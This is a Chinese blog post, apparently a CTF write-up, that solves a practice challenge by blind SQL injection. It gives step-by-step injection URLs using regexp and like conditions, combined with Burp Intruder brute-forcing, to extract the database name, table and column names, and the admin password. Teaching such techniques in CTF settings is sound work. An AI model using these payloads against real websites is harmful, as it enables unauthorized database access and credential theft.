实验吧--看起来有点难--盲注+burpsuite爆破

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/lhh134/article/details/84319017

看起来有点难解题思路

1.观察题目,用户名和密码这两个参数都是通过GET方法传输。
2.通过对admin、pass两个参数的测试,得出以下结论。
1)用户名为admin时,返回“登陆失败,错误的用户名和密码”。
2)用户名为非admin字段的时候,返回“数据库连接失败”。
3)对pass参数测试,都是“数据库连接失败”。
由此我们可以猜测admin参数可能存在注入。
3.进一步对我们的猜测进行验证,判断注入点。
1)加单引号,无回显。

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin'&pass'=admin&action=login

在这里插入图片描述
2)判断为注入点:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=1 %23&pass'=admin&action=login

在这里插入图片描述http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=2 %23&pass'=admin&action=login
在这里插入图片描述4.我们猜测,该题目考察的应该是盲注。盲注实现的方法有好多,这个题目的意思应该就是通过盲注,得到数据库中的用户名和密码,然后登陆得到flag。
5.盲注得到数据库名名称,这里有两种方法实现。
方法一:regexp注入
正确:
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((database() regexp '^t'),1,0)) %23&pass'=admin&action=login
得到了数据库名的第一位是t。
在这里插入图片描述错误:http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((database() regexp '^a'),1,0)) %23&pass'=admin&action=login
在这里插入图片描述
方法二:like注入
判断第一位:
正确:xxx like ‘t%’
错误:xxx like 's%'

6.结合bp的intruder进行盲注,提高效率(当然也可以用其他的一些爆破工具):
设置参数:

在这里插入图片描述使用自行构造的盲注字典,开始爆破数据库第一位:
在这里插入图片描述最终爆出数据库名为:test。

7.爆破数据库表名:
第一位:

(在这里会题是select参数违法,我们将其任意一位改成大写,虽然还是会提示违法,但是不影响结果的返回,不影响盲注。)

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct table_name from information_schema.tables where table_schema='test' limit 0,1) regexp '^a',1,0)
) %23&pass'=admin&action=login

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最终爆出表名为admin。

8.爆出admin表的字段(结合bp)。
这里我们依旧采用此方法:
第一个字段:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct column_name from information_schema.columns where table_name='admin' limit 0,1) regexp '^username',1,0)
) %23&pass'=admin&action=login

得到字段:username
在这里插入图片描述
第二个字段:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct column_name from information_schema.columns where table_name='admin' limit 1,1) regexp '^password',1,0)
) %23&pass'=admin&action=login

在这里插入图片描述
得到字段:password

9.爆出账号密码
账号:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct username from admin) regexp '^admin',1,0)
) %23&pass'=admin&action=login

在这里插入图片描述
密码:

扫描二维码关注公众号,回复: 4178895 查看本文章
http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct password from admin) regexp '^idnuenna',1,0)
) %23&pass'=admin&action=login

在这里插入图片描述
10.输入用户名密码即可登陆,使用盲注结合bp爆破,此方法比较麻烦,在这里主要就是想和大家分享一下这个思路。其实这个题直接可以用sqlmap跑出来。但是大多数情况下sqlmap是跑不出的,因此使用盲注加爆破会是个不错的选择。
(真的写了好长…)

---------------------------分割线------------------------------
看了其他大佬的wp,发现在盲注方面其实有更简洁的语句。

比如爆字段名称的地方可以使用:
(不过好像得用完整的字段名称爆破,不能一位一位的爆破。)
xxx?admin=admin’ and (username like ‘%’) %23

xxx?admin=admin’ and (username regexp ‘^’) %23
爆字段内容的地方可以使用:
xxx?admin=admin’ and (username like ‘admin%’) %23

xxx?admin=admin’ and (username regexp ‘^admin’) %23

猜你喜欢

转载自blog.csdn.net/lhh134/article/details/84319017